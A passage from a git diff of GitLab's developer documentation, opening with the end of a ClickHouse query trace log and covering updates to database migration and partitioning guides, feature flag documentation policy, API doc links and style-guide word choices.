+[cluster-0-0-0] 2023.01.30 06:31:32.245784 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Debug> tracing_gcs.jaeger_index_local (66c6ca81-e20d-44dc-8101-92678fc24d99) (SelectExecutor): MinMax index condition: unknown, unknown, and, unknown, and +[cluster-0-0-0] 2023.01.30 06:31:32.246239 [ 1503 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Trace> tracing_gcs.jaeger_index_local (66c6ca81-e20d-44dc-8101-92678fc24d99) (SelectExecutor): Used generic exclusion search over index for part 202301_1512_21497_9164 with 4 steps +[cluster-0-0-0] 2023.01.30 06:31:32.246293 [ 1503 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Trace> tracing_gcs.jaeger_index_local (66c6ca81-e20d-44dc-8101-92678fc24d99) (SelectExecutor): Used generic exclusion search over index for part 202301_21498_24220_677 with 1 steps +[cluster-0-0-0] 2023.01.30 06:31:32.246488 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Debug> tracing_gcs.jaeger_index_local (66c6ca81-e20d-44dc-8101-92678fc24d99) (SelectExecutor): Selected 2/2 parts by partition key, 1 parts by primary key, 2/4 marks by primary key, 2 marks to read from 1 ranges +[cluster-0-0-0] 2023.01.30 06:31:32.246591 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Trace> MergeTreeInOrderSelectProcessor: Reading 1 ranges in order from part 202301_1512_21497_9164, approx. 16384 rows starting from 0 +[cluster-0-0-0] 2023.01.30 06:31:32.642095 [ 348 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Trace> AggregatingTransform: Aggregating +[cluster-0-0-0] 2023.01.30 06:31:32.642193 [ 348 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Trace> Aggregator: An entry for key=16426982211452591884 found in cache: sum_of_sizes=2, median_size=1 +[cluster-0-0-0] 2023.01.30 06:31:32.642210 [ 348 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Trace> Aggregator: Aggregation method: without_key +[cluster-0-0-0] 2023.01.30 06:31:32.642330 [ 348 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Debug> AggregatingTransform: Aggregated. 3211 to 1 rows (from 50.18 KiB) in 0.395452983 sec. (8119.802 rows/sec., 126.89 KiB/sec.) +[cluster-0-0-0] 2023.01.30 06:31:32.642343 [ 348 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Trace> Aggregator: Merging aggregated data +Row 1: +────── +count(traceID): 3211 +[cluster-0-0-0] 2023.01.30 06:31:32.642887 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Information> executeQuery: Read 16384 rows, 620.52 KiB in 0.401978272 sec., 40758 rows/sec., 1.51 MiB/sec. +[cluster-0-0-0] 2023.01.30 06:31:32.645232 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Debug> MemoryTracker: Peak memory usage (for query): 831.98 KiB. +[cluster-0-0-0] 2023.01.30 06:31:32.645251 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Debug> TCPHandler: Processed in 0.404908496 sec. + +1 row in set. Elapsed: 0.402 sec. Processed 16.38 thousand rows, 635.41 KB (40.71 thousand rows/s., 1.58 MB/s.) +``` diff --git a/doc/development/database/database_debugging.md b/doc/development/database/database_debugging.md index edc35dd95e8..9cc85610e98 100644 --- a/doc/development/database/database_debugging.md +++ b/doc/development/database/database_debugging.md @@ -177,3 +177,21 @@ you should set the `SKIP_SCHEMA_VERSION_CHECK` environment variable. ```shell bundle exec rake db:migrate SKIP_SCHEMA_VERSION_CHECK=true ``` + +## Performance issues + +### Reduce connection overhead with connection pooling + +Creating new database connections is not free, and in PostgreSQL specifically, it requires +forking an entire process to handle each new one. In case a connection lives for a very long time, +this is no problem. However, forking a process for several small queries can turn out to be costly. +If left unattended, peaks of new database connections can cause performance degradation, +or even lead to a complete outage. + +A proven solution for instances that deal with surges of small, short-lived database connections +is to implement [PgBouncer](../../administration/postgresql/pgbouncer.md#pgbouncer-as-part-of-a-fault-tolerant-gitlab-installation) as a connection pooler. +This pool can be used to hold thousands of connections for almost no overhead. The drawback is the addition of +a small amount of latency, in exchange for up to more than 90% performance improvement, depending on the usage patterns. + +PgBouncer can be fine-tuned to fit different installations. See our documentation on +[fine-tuning PgBouncer](../../administration/postgresql/pgbouncer.md#fine-tuning) for more information. diff --git a/doc/development/database/index.md b/doc/development/database/index.md index 5abc7cd3ffa..8f22eaac496 100644 --- a/doc/development/database/index.md +++ b/doc/development/database/index.md @@ -20,6 +20,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w - [explain.depesz.com](https://explain.depesz.com/) or [explain.dalibo.com](https://explain.dalibo.com/) for visualizing the output of `EXPLAIN` - [pgFormatter](https://sqlformat.darold.net/) a PostgreSQL SQL syntax beautifier - [db:check-migrations job](dbcheck-migrations-job.md) +- [Database migration pipeline](database_migration_pipeline.md) ## Migrations @@ -93,6 +94,22 @@ info: To determine the technical writer assigned to the Stage/Group associated w - [Troubleshooting PostgreSQL](../../administration/troubleshooting/postgresql.md) - [Working with the bundled PgBouncer service](../../administration/postgresql/pgbouncer.md) +## User information for scaling + +For GitLab administrators, information about +[configuring PostgreSQL for scaling](../../administration/postgresql/index.md) is available, +including the major methods: + +- [Standalone PostgreSQL](../../administration/postgresql/standalone.md) +- [External PostgreSQL instances](../../administration/postgresql/external.md) +- [Replication and failover](../../administration/postgresql/replication_and_failover.md) + +## ClickHouse + +- [Introduction](clickhouse/index.md) +- [Optimizing query execution](clickhouse/optimization.md) +- [Rebuild GitLab features using ClickHouse 1: Activity data](clickhouse/gitlab_activity_data.md) + ## Miscellaneous - [Maintenance operations](maintenance_operations.md) diff --git a/doc/development/database/migrations_for_multiple_databases.md b/doc/development/database/migrations_for_multiple_databases.md index bc0ef654336..b903c56651d 100644 --- a/doc/development/database/migrations_for_multiple_databases.md +++ b/doc/development/database/migrations_for_multiple_databases.md @@ -10,8 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w This document describes how to properly write database migrations for [the decomposed GitLab application using multiple databases](https://gitlab.com/groups/gitlab-org/-/epics/6168). - -Learn more about general multiple databases support in a [separate document](multiple_databases.md). +For more information, see [Multiple databases](multiple_databases.md). The design for multiple databases (except for the Geo database) assumes that all decomposed databases have **the same structure** (for example, schema), but **the data is different** in each database. This means that some tables do not contain data on each database. diff --git a/doc/development/database/new_database_migration_version.md b/doc/development/database/new_database_migration_version.md new file mode 100644 index 00000000000..b97ecd83f37 --- /dev/null +++ b/doc/development/database/new_database_migration_version.md @@ -0,0 +1,64 @@ +--- +stage: Data Stores +group: Database +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Introducing a new database migration version + +At GitLab we've added many helpers for the database migrations to help developers manipulate +the schema and data of tables on a large scale like on GitLab.com. To avoid the repetitive task +of including the helpers into each database migration, we use a subclass of the Rails `ActiveRecord::Migration` +class that we use for all of our database migrations. This subclass is `Gitlab::Database::Migration`, and it already +includes all the helpers that developers can use. You can see many use cases of helpers built +in-house in [Avoiding downtime in migrations](avoiding_downtime_in_migrations.md). + +Sometimes, we need to add or modify existing an helper's functionality without having a reverse effect on all the +previous database migrations. That's why we introduced versioning to `Gitlab::Database::Migration`. Now, +each database migration can inherit the latest version of this class at the time of the writing the database migration. +After we add a new feature, those old database migrations are no longer affected. We usually +refer to the version using `Gitlab::Database::Migration[2.1]`, where `2.1` is the current version. + +Because we are chasing a moving target, adding a new migration and deprecating older versions +can be challenging. Database migrations are introduced every day, and this can break the pipeline. +In this document, we explain a two-step method to add a new database migration version. + +1. [Introduce a new version, and keep the older version allowed](#introduce-a-new-version-and-keep-the-older-version-allowed) +1. [Prevent the usage of the older database migration version](#prevent-the-usage-of-the-older-database-migration-version) + +## Introduce a new version, and keep the older version allowed + +1. The new version can be added to the + [`migration.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/database/migration.rb) + class, along with any new helpers that should be included in the new version. + Make sure that `current_version` refers to this new version. For example: + + ```ruby + class V2_2 < V2_1 # rubocop:disable Naming/ClassAndModuleCamelCase + include Gitlab::Database::MigrationHelpers::ANY_NEW_HELPER + end + + def self.current_version + 2.2 + end + ``` + +1. Update all the examples in the documentation to refer to the new database + migration version `Gitlab::Database::Migration[2.2]`. +1. Make sure that [`migration_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/db/migration_spec.rb) + doesn't fail for the new database migrations by adding an open date rate for + the **new database version**. + +## Prevent the usage of the older database migration version + +After some time passes, and ensuring all developers are using the +new database migration version in their merge requests, prevent the older +version from being used: + +1. Close the date range in [`migration_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/db/migration_spec.rb) + for the older database version. +1. Modify the + [`RuboCop::Cop::Migration::VersionedMigrationClass`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/cop/migration/versioned_migration_class.rb) + and [its owned tests](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/rubocop/cop/migration/versioned_migration_class_spec.rb). +1. Communicate this change on our Slack `#backend` and `#database` channels and + [Engineering Week-in-Review document](https://about.gitlab.com/handbook/engineering/#communication). diff --git a/doc/development/database/pagination_guidelines.md b/doc/development/database/pagination_guidelines.md index aeab45e2158..04a2a8cdf9c 100644 --- a/doc/development/database/pagination_guidelines.md +++ b/doc/development/database/pagination_guidelines.md @@ -66,7 +66,7 @@ Offset-based pagination is the easiest way to paginate over records, however, it - Avoid using page numbers, use next and previous page buttons. - Keyset pagination doesn't support page numbers. - For APIs, advise against building URLs for the next page by "hand". - - Promote the usage of the [`Link` header](../../api/index.md#pagination-link-header) where the URLs for the next and previous page are provided by the backend. + - Promote the usage of the [`Link` header](../../api/rest/index.md#pagination-link-header) where the URLs for the next and previous page are provided by the backend. - This way changing the URL structure is possible without breaking backward compatibility. NOTE: diff --git a/doc/development/database/query_recorder.md b/doc/development/database/query_recorder.md index dfaaf8afcde..bae211c1618 100644 --- a/doc/development/database/query_recorder.md +++ b/doc/development/database/query_recorder.md @@ -148,3 +148,4 @@ There are multiple ways to find the source of queries. - [Performance guidelines](../performance.md) - [Merge request performance guidelines - Query counts](../merge_request_concepts/performance.md#query-counts) - [Merge request performance guidelines - Cached queries](../merge_request_concepts/performance.md#cached-queries) +- [RedisCommands::Recorder](../redis.md#n1-calls-problem) For testing `N+1` calls in Redis diff --git a/doc/development/database/table_partitioning.md b/doc/development/database/table_partitioning.md index 30131fc0347..0d5e3c233f6 100644 --- a/doc/development/database/table_partitioning.md +++ b/doc/development/database/table_partitioning.md @@ -307,44 +307,12 @@ class PrepareIndexesForPartitioning < Gitlab::Database::Migration[2.1] end ``` -### Step 3 - Swap primary key +### Step 3 - Enforce unique constraint -Swap the primary key including the partitioning key column. For example, in a rails migration: - -```ruby -class PreparePrimaryKeyForPartitioning < Gitlab::Database::Migration[2.1] - disable_ddl_transaction! - - TABLE_NAME = :table_name - PRIMARY_KEY = :primary_key - OLD_INDEX_NAME = :old_index_name - NEW_INDEX_NAME = :new_index_name - - def up - swap_primary_key(TABLE_NAME, PRIMARY_KEY, NEW_INDEX_NAME) - end - - def down - add_concurrent_index(TABLE_NAME, :id, unique: true, name: OLD_INDEX_NAME) - add_concurrent_index(TABLE_NAME, [:id, :partition_id], unique: true, name: NEW_INDEX_NAME) - - unswap_primary_key(TABLE_NAME, PRIMARY_KEY, OLD_INDEX_NAME) - end -end -``` - -NOTE: -Do not forget to set the primary key explicitly in your model as `ActiveRecord` does not support composite primary keys. - -```ruby -class Model < ApplicationRecord - self.primary_key = :id -end -``` - -### Step 4 - Enforce unique constraint - -Enforce unique indexes including the partitioning key column. For example, in a rails migration: +Change all unique indexes to include the partitioning key column, +including the primary key index. You can start by adding an unique +index on `[primary_key_column, :partition_id]`, which will be +required for the next two steps. For example, in a rails migration: ```ruby class PrepareUniqueContraintForPartitioning < Gitlab::Database::Migration[2.1] @@ -355,20 +323,20 @@ class PrepareUniqueContraintForPartitioning < Gitlab::Database::Migration[2.1] NEW_UNIQUE_INDEX_NAME = :new_index_name def up - add_concurrent_index(TABLE_NAME, [:some_column, :partition_id], unique: true, name: NEW_UNIQUE_INDEX_NAME) + add_concurrent_index(TABLE_NAME, [:id, :partition_id], unique: true, name: NEW_UNIQUE_INDEX_NAME) remove_concurrent_index_by_name(TABLE_NAME, OLD_UNIQUE_INDEX_NAME) end def down - add_concurrent_index(TABLE_NAME, :some_column, unique: true, name: OLD_UNIQUE_INDEX_NAME) + add_concurrent_index(TABLE_NAME, :id, unique: true, name: OLD_UNIQUE_INDEX_NAME) remove_concurrent_index_by_name(TABLE_NAME, NEW_UNIQUE_INDEX_NAME) end end ``` -### Step 5 - Enforce foreign key constraint +### Step 4 - Enforce foreign key constraint Enforce foreign keys including the partitioning key column. For example, in a rails migration: @@ -380,7 +348,7 @@ class PrepareForeignKeyForPartitioning < Gitlab::Database::Migration[2.1] TARGET_TABLE_NAME = :target_table_name COLUMN = :foreign_key_id TARGET_COLUMN = :id - CONSTRAINT_NAME = :fk_365d1db505_p + FK_NAME = :fk_365d1db505_p PARTITION_COLUMN = :partition_id def up @@ -391,14 +359,17 @@ class PrepareForeignKeyForPartitioning < Gitlab::Database::Migration[2.1] target_column: [PARTITION_COLUMN, TARGET_COLUMN], validate: false, on_update: :cascade, - name: CONSTRAINT_NAME + name: FK_NAME ) - validate_foreign_key(TARGET_TABLE_NAME, CONSTRAINT_NAME) + # This should be done in a separate post migration when dealing with a high traffic table + validate_foreign_key(TABLE_NAME, [PARTITION_COLUMN, COLUMN], name: FK_NAME) end def down - drop_constraint(TARGET_TABLE_NAME, CONSTRAINT_NAME) + with_lock_retries do + remove_foreign_key_if_exists(SOURCE_TABLE_NAME, name: FK_NAME) + end end end ``` @@ -410,6 +381,48 @@ result in a `Key is still referenced from table ...` error and updating the partition column on the source table would raise a `Key is not present in table ...` error. +This migration can be automatically generated using: + +```shell +./scripts/partitioning/generate-fk --source source_table_name --target target_table_name +``` + +### Step 5 - Swap primary key + +Swap the primary key including the partitioning key column. This can be done only after +including the partition key for all references foreign keys. For example, in a rails migration: + +```ruby +class PreparePrimaryKeyForPartitioning < Gitlab::Database::Migration[2.1] + disable_ddl_transaction! + + TABLE_NAME = :table_name + PRIMARY_KEY = :primary_key + OLD_INDEX_NAME = :old_index_name + NEW_INDEX_NAME = :new_index_name + + def up + swap_primary_key(TABLE_NAME, PRIMARY_KEY, NEW_INDEX_NAME) + end + + def down + add_concurrent_index(TABLE_NAME, :id, unique: true, name: OLD_INDEX_NAME) + add_concurrent_index(TABLE_NAME, [:id, :partition_id], unique: true, name: NEW_INDEX_NAME) + + unswap_primary_key(TABLE_NAME, PRIMARY_KEY, OLD_INDEX_NAME) + end +end +``` + +NOTE: +Do not forget to set the primary key explicitly in your model as `ActiveRecord` does not support composite primary keys. + +```ruby +class Model < ApplicationRecord + self.primary_key = :id +end +``` + ### Step 6 - Create parent table and attach existing table as the initial partition You can now create the parent table attaching the existing table as the initial @@ -465,7 +478,7 @@ class ConvertTableToListPartitioning < Gitlab::Database::Migration[2.1] table_name: TABLE_NAME, partitioning_column: PARTITION_COLUMN, parent_table_name: PARENT_TABLE_NAME, - initial_partitioning_value: FIRST_PARTITION + initial_partitioning_value: FIRST_PARTITION, lock_tables: [TABLE_FK, TABLE_NAME] ) end diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md index f4af005b849..e532fa82011 100644 --- a/doc/development/deprecation_guidelines/index.md +++ b/doc/development/deprecation_guidelines/index.md @@ -77,7 +77,7 @@ However, at GitLab, we [give agency](https://about.gitlab.com/handbook/values/#g Generally, feature or configuration can be removed/changed only on major release. It also should be [deprecated in advance](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations). -For API removals, see the [GraphQL](../../api/graphql/index.md#deprecation-and-removal-process) and [GitLab API](../../api/index.md#compatibility-guidelines) guidelines. +For API removals, see the [GraphQL](../../api/graphql/index.md#deprecation-and-removal-process) and [GitLab API](../../api/rest/index.md#compatibility-guidelines) guidelines. For configuration removals, see the [Omnibus deprecation policy](../../administration/package_information/deprecation_policy.md). diff --git a/doc/development/development_processes.md b/doc/development/development_processes.md index e1df3b55d06..c5d60d18419 100644 --- a/doc/development/development_processes.md +++ b/doc/development/development_processes.md @@ -18,7 +18,7 @@ Must-reads: - [Database review guidelines](database_review.md) for reviewing database-related changes and complex SQL queries, and having them reviewed - [Secure coding guidelines](secure_coding_guidelines.md) -- [Pipelines for the GitLab project](pipelines.md) +- [Pipelines for the GitLab project](pipelines/index.md) Complementary reads: diff --git a/doc/development/documentation/feature_flags.md b/doc/development/documentation/feature_flags.md index 0fab693fdee..37be2178592 100644 --- a/doc/development/documentation/feature_flags.md +++ b/doc/development/documentation/feature_flags.md @@ -13,9 +13,29 @@ feature flag depends on its state (enabled or disabled). When the state changes, the developer who made the change **must update the documentation** accordingly. -Every feature introduced to the codebase, even if it's behind a feature flag, -must be documented. For context, see the -[latest merge request that updated this guideline](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47917#note_459984428). +## When to document features behind a feature flag + +Every feature introduced to the codebase, even if it's behind a disabled feature flag, +must be documented. For more information, see +[the discussion that led to this decision](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47917#note_459984428). + +When the feature is [implemented over multiple merge requests](../feature_flags/index.md#feature-flags-in-gitlab-development), +discuss the exact documentation plan with your technical writer. Consider +creating a dedicated documentation issue if the feature: + +- Is far-reaching (makes changes across many areas of GitLab), like navigation changes. +- Includes many MRs. +- Affects more than a few documentation pages. +- Is not fully functional if the feature flag is enabled for testing. + +If you and the technical writer agree to delay the product documentation (for example, until after testing), +collaborate with the TW to create a documentation issue detailing the plan for adding the content. +The PM and EM should be included in the discussions to make sure the task of adding the documentation is assigned and scheduled. +Despite any planned delays, every feature flag in the codebase is automatically listed at +<https://docs.gitlab.com/ee/user/feature_flags.html#available-feature-flags>, +even when the feature is not fully functional. + +## How to add feature flag documentation When you document feature flags, you must: diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md index 8a5a993d913..fd9e885e097 100644 --- a/doc/development/documentation/index.md +++ b/doc/development/documentation/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w description: Learn how to contribute to GitLab Documentation. --- -# GitLab documentation +# Contribute to the GitLab documentation The GitLab documentation is [intended as the single source of truth (SSOT)](https://about.gitlab.com/handbook/documentation/) for information about how to configure, use, and troubleshoot GitLab. The documentation contains use cases and usage instructions for every GitLab feature, organized by product area and subject. This includes topics and workflows that span multiple GitLab features and the use of GitLab with other applications. @@ -37,7 +37,7 @@ Documentation issues and merge requests are part of their respective repositorie ### Branch naming -The [CI pipeline for the main GitLab project](../pipelines.md) is configured to automatically +The [CI pipeline for the main GitLab project](../pipelines/index.md) is configured to automatically run only the jobs that match the type of contribution. If your contribution contains **only** documentation changes, then only documentation-related jobs run, and the pipeline completes much faster than a code contribution. diff --git a/doc/development/documentation/redirects.md b/doc/development/documentation/redirects.md index 1118dc97926..4cfe8be713a 100644 --- a/doc/development/documentation/redirects.md +++ b/doc/development/documentation/redirects.md @@ -31,6 +31,12 @@ Add a redirect to ensure: Be sure to assign a technical writer to any merge request that moves, renames, or deletes a page. Technical Writers can help with any questions and can review your change. +NOTE: +When you change the filename of a page, the Google Analytics are removed +from the content audit and the page views start from scratch. +If you want to change the filename, edit the page first, +so you can ensure the new page name is as accurate as possible. + ## Types of redirects There are two types of redirects: diff --git a/doc/development/documentation/restful_api_styleguide.md b/doc/development/documentation/restful_api_styleguide.md index 21c8c8543ab..a92d58ead96 100644 --- a/doc/development/documentation/restful_api_styleguide.md +++ b/doc/development/documentation/restful_api_styleguide.md @@ -9,7 +9,8 @@ description: 'Writing styles, markup, formatting, and other standards for the Gi REST API resources are documented in Markdown under [`/doc/api`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc/api). Each -resource has its own Markdown file, which is linked from `api_resources.md`. +resource has its own Markdown file, which is linked from +[`api_resources.md`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/api/api_resources.md). When modifying the Markdown, also update the corresponding [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc/api/openapi) @@ -35,6 +36,8 @@ In the Markdown doc for a resource (AKA endpoint): Put the badge in the **Attribute** column, like the `**(<tier>)**` code in the following template. +After a new API documentation page is added, [add an entry in the global navigation](site_architecture/global_nav.md#add-a-navigation-entry). [Example](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/3497). + ## API topic template Use the following template to help you get started. Be sure to list any @@ -66,7 +69,7 @@ Supported attributes: | `attribute` | datatype | No | Detailed description. | | `attribute` | datatype | No | Detailed description. | -If successful, returns [`<status_code>`](../../api/index.md#status-codes) and the following +If successful, returns [`<status_code>`](rest/index.md#status-codes) and the following response attributes: | Attribute | Type | Description | @@ -159,10 +162,10 @@ For information about writing attribute descriptions, see the [GraphQL API descr ## Response body description Start the description with the following sentence, replacing `status code` with the -relevant [HTTP status code](../../api/index.md#status-codes), for example: +relevant [HTTP status code](../../api/rest/index.md#status-codes), for example: ```markdown -If successful, returns [`200 OK`](../../api/index.md#status-codes) and the +If successful, returns [`200 OK`](../../api/rest/index.md#status-codes) and the following response attributes: ``` diff --git a/doc/development/documentation/review_apps.md b/doc/development/documentation/review_apps.md index 3cf77fda22b..adc9d727844 100644 --- a/doc/development/documentation/review_apps.md +++ b/doc/development/documentation/review_apps.md @@ -32,6 +32,8 @@ The `review-docs-deploy*` job triggers a cross project pipeline and builds the docs site with your changes. When the pipeline finishes, the review app URL appears in the merge request widget. Use it to navigate to your changes. +The `review-docs-cleanup` job is triggered automatically on merge. This job deletes the review app. + You must have the Developer role in the project. Users without the Developer role, such as external contributors, cannot run the manual job. In that case, ask someone from the GitLab team to run the job. diff --git a/doc/development/documentation/styleguide/img/admin_access_level.png b/doc/development/documentation/styleguide/img/admin_access_level.png Binary files differindex 191ba78cd6c..f31e4c65fe5 100644 --- a/doc/development/documentation/styleguide/img/admin_access_level.png +++ b/doc/development/documentation/styleguide/img/admin_access_level.png diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md index 921bb13721b..74437ea46c9 100644 --- a/doc/development/documentation/styleguide/index.md +++ b/doc/development/documentation/styleguide/index.md @@ -182,6 +182,7 @@ the page is rendered to HTML. There can be only **one** level 1 heading per page Heading levels greater than `H5` do not display in the right sidebar navigation. - Do not skip a level. For example: `##` > `####`. - Leave one blank line before and after the topic title. +- If you use code in topic titles, ensure the code is in backticks. ### Backticks in Markdown @@ -320,7 +321,7 @@ You can use these fake tokens as examples: | Application ID | `2fcb195768c39e9a94cec2c2e32c59c0aad7a3365c10892e8116b5d83d4096b6` | | Application secret | `04f294d1eaca42b8692017b426d53bbc8fe75f827734f0260710b83a556082df` | | CI/CD variable | `Li8j-mLUVA3eZYjPfd_H` | -| Specific runner token | `yrnZW46BrtBFqM7xDzE7dddd` | +| Project runner token | `yrnZW46BrtBFqM7xDzE7dddd` | | Shared runner token | `6Vk7ZsosqQyfreAxXTZr` | | Trigger token | `be20d8dcc028677c931e04f3871a9b` | | Webhook secret token | `6XhDroRcYPM5by_h-HLY` | @@ -943,7 +944,7 @@ To open the Admin Area: To select your avatar: ```markdown -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. ``` To save the selection in some dropdown lists: diff --git a/doc/development/documentation/styleguide/word_list.md b/doc/development/documentation/styleguide/word_list.md index fcebe3b3649..e64fd4df7ff 100644 --- a/doc/development/documentation/styleguide/word_list.md +++ b/doc/development/documentation/styleguide/word_list.md @@ -14,6 +14,7 @@ recommends these word choices. In addition: [top misused terms](https://about.gitlab.com/handbook/communication/top-misused-terms/). - The documentation [style guide](../styleguide#language) includes details about language and capitalization. +- The GitLab handbook provides guidance on the [use of third-party trademarks](https://about.gitlab.com/handbook/legal/policies/product-third-party-trademarks-guidelines/#process-for-adding-third-party-trademarks-to-gitlab). For guidance not on this page, we defer to these style guides: @@ -60,7 +61,7 @@ Instead of: ## access level Access levels are different than [roles](#roles) or [permissions](#permissions). -When you create a user, you choose an access level: **Regular**, **Auditor**, or **Admin**. +When you create a user, you choose an access level: **Regular**, **Auditor**, or **Administrator**. Capitalize these words when you refer to the UI. Otherwise use lowercase. @@ -151,6 +152,15 @@ Use uppercase for **Alpha**. For example: **The XYZ feature is in Alpha.** or ** You might also want to link to [this section](../../../policy/alpha-beta-support.md#alpha-features) in the handbook when writing about Alpha features. +## analytics + +Use lowercase for **analytics** and its variations, like **contribution analytics** and **issue analytics**. +However, if the UI has different capitalization, make the documentation match the UI. + +For example: + +- You can view merge request analytics for a project. They are displayed on the Merge Request Analytics dashboard. + ## and/or Instead of **and/or**, use **or** or rewrite the sentence to spell out both options. @@ -306,6 +316,20 @@ Use title case for the GitLab Container Registry. Do not use **currently** when talking about the product or its features. The documentation describes the product as it is today. ([Vale](../testing.md#vale) rule: [`CurrentStatus.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/CurrentStatus.yml)) +## data + +Use **data** as a singular noun. + +Use: + +- Data is collected. +- The data shows a performance increase. + +Instead of: + +- Data are collected. +- The data show a performance increase. + ## default branch Use **default branch** to refer generically to the primary branch in the repository. @@ -351,6 +375,12 @@ Use **inactive** or **off** instead. ([Vale](../testing.md#vale) rule: [`Inclusi Use **prevent** instead of **disallow**. ([Vale](../testing.md#vale) rule: [`Substitutions.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Substitutions.yml)) +## Docker-in-Docker, `dind` + +Use **Docker-in-Docker** when you are describing running a Docker container by using the Docker executor. + +Use `dind` in backticks to describe the container name: `docker:dind`. Otherwise, spell it out. + ## downgrade To be more upbeat and precise, do not use **downgrade**. Focus instead on the action the user is taking. @@ -1046,6 +1076,14 @@ The search results are displayed on a search page. Searching is different from [filtering](#filter). +## seats + +When referring to the subscription billing model: + +- For GitLab SaaS, use **seats**. Customers purchase seats. Users occupy seats when they are invited +to a group, with some [exceptions](../../../subscriptions/gitlab_com/index.md#how-seat-usage-is-determined). +- For GitLab self-managed, use **users**. Customers purchase subscriptions for a specified number of **users**. + ## section Use **section** to describe an area on a page. For example, if a page has lines that separate the UI @@ -1260,7 +1298,7 @@ Do not use **update** for any other case. Instead, use **upgrade**. Use **upgrade** for: - Choosing a higher subscription tier (Premium or Ultimate). -- Installing a newer **major** (13.0, 14.0) or **minor** (13.8, 14.5) version of GitLab. +- Installing a newer **major** (13.0) or **minor** (13.2) version of GitLab. For example: @@ -1274,6 +1312,12 @@ you're talking about the product version or the subscription tier. See also [downgrade](#downgrade) and [roll back](#roll-back). +## upper left, upper right + +Use **upper left** and **upper right** instead of **top left** and **top right**. Hyphenate as adjectives (for example, **upper-left corner**). + +For details, see the [Microsoft style guide](https://learn.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/u/upper-left-upper-right). + ## useful Do not use **useful**. If the user doesn't find the process to be useful, we lose their trust. ([Vale](../testing.md#vale) rule: [`Simplicity.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Simplicity.yml)) @@ -1342,16 +1386,19 @@ in present tense, active voice. ## you, your, yours -Use **you**, **your**, and **yours** instead of **the user** and **the user's**. -Documentation should be from the [point of view](https://design.gitlab.com/content/voice-and-tone#point-of-view) of the reader. +Use **you** instead of **the user**, **the administrator** or **the customer**. +Documentation should speak directly to the user, whether that user is someone installing the product, +configuring it, administering it, or using it. Use: - You can configure a pipeline. +- You can reset a user's password. (In content for an administrator) Instead of: - Users can configure a pipeline. +- Administrators can reset a user's password. ## you can diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md index 58584b5168b..4f61b2424eb 100644 --- a/doc/development/documentation/testing.md +++ b/doc/development/documentation/testing.md @@ -13,7 +13,7 @@ processes similar to those used for code to maintain standards and quality of do We have tests: - To lint the words and structure of the documentation. -- To check the validity of internal links within the documentation suite. +- To check the validity of internal links in the documentation suite. - To check the validity of links from UI elements, such as files in `app/views` files. For the specifics of each test run in our CI/CD pipelines, see the configuration for those tests @@ -51,7 +51,7 @@ To run tests locally, it's important to: Lint checks are performed by the [`lint-doc.sh`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/lint-doc.sh) script and can be executed as follows: -1. Navigate to the `gitlab` directory. +1. Go to the `gitlab` directory. 1. Run: ```shell @@ -113,7 +113,7 @@ Even if a specific broken link appears multiple times on a page, the test report To execute documentation link tests locally: -1. Navigate to the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs) directory. +1. Go to the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs) directory. 1. Run the following commands: ```shell @@ -243,7 +243,9 @@ This configuration is also used in build pipelines. You can use markdownlint: -- [On the command line](https://github.com/igorshubovych/markdownlint-cli#markdownlint-cli--). +- On the command line, with either: + - [`markdownlint-cli`](https://github.com/igorshubovych/markdownlint-cli#markdownlint-cli). + - [`markdownlint-cli2`](https://github.com/DavidAnson/markdownlint-cli2#markdownlint-cli2). - [In a code editor](#configure-editors). - [In a `pre-push` hook](#configure-pre-push-hooks). @@ -281,7 +283,7 @@ You can use Vale: Vale returns three types of results: - **Error** - For branding guidelines, trademark guidelines, and anything that causes content on - the docs site to render incorrectly. + the documentation site to render incorrectly. - **Warning** - For general style guide rules, tenets, and best practices. - **Suggestion** - For technical writing style preferences that may require refactoring of documentation or updates to an exceptions list. @@ -366,23 +368,34 @@ In general, follow these 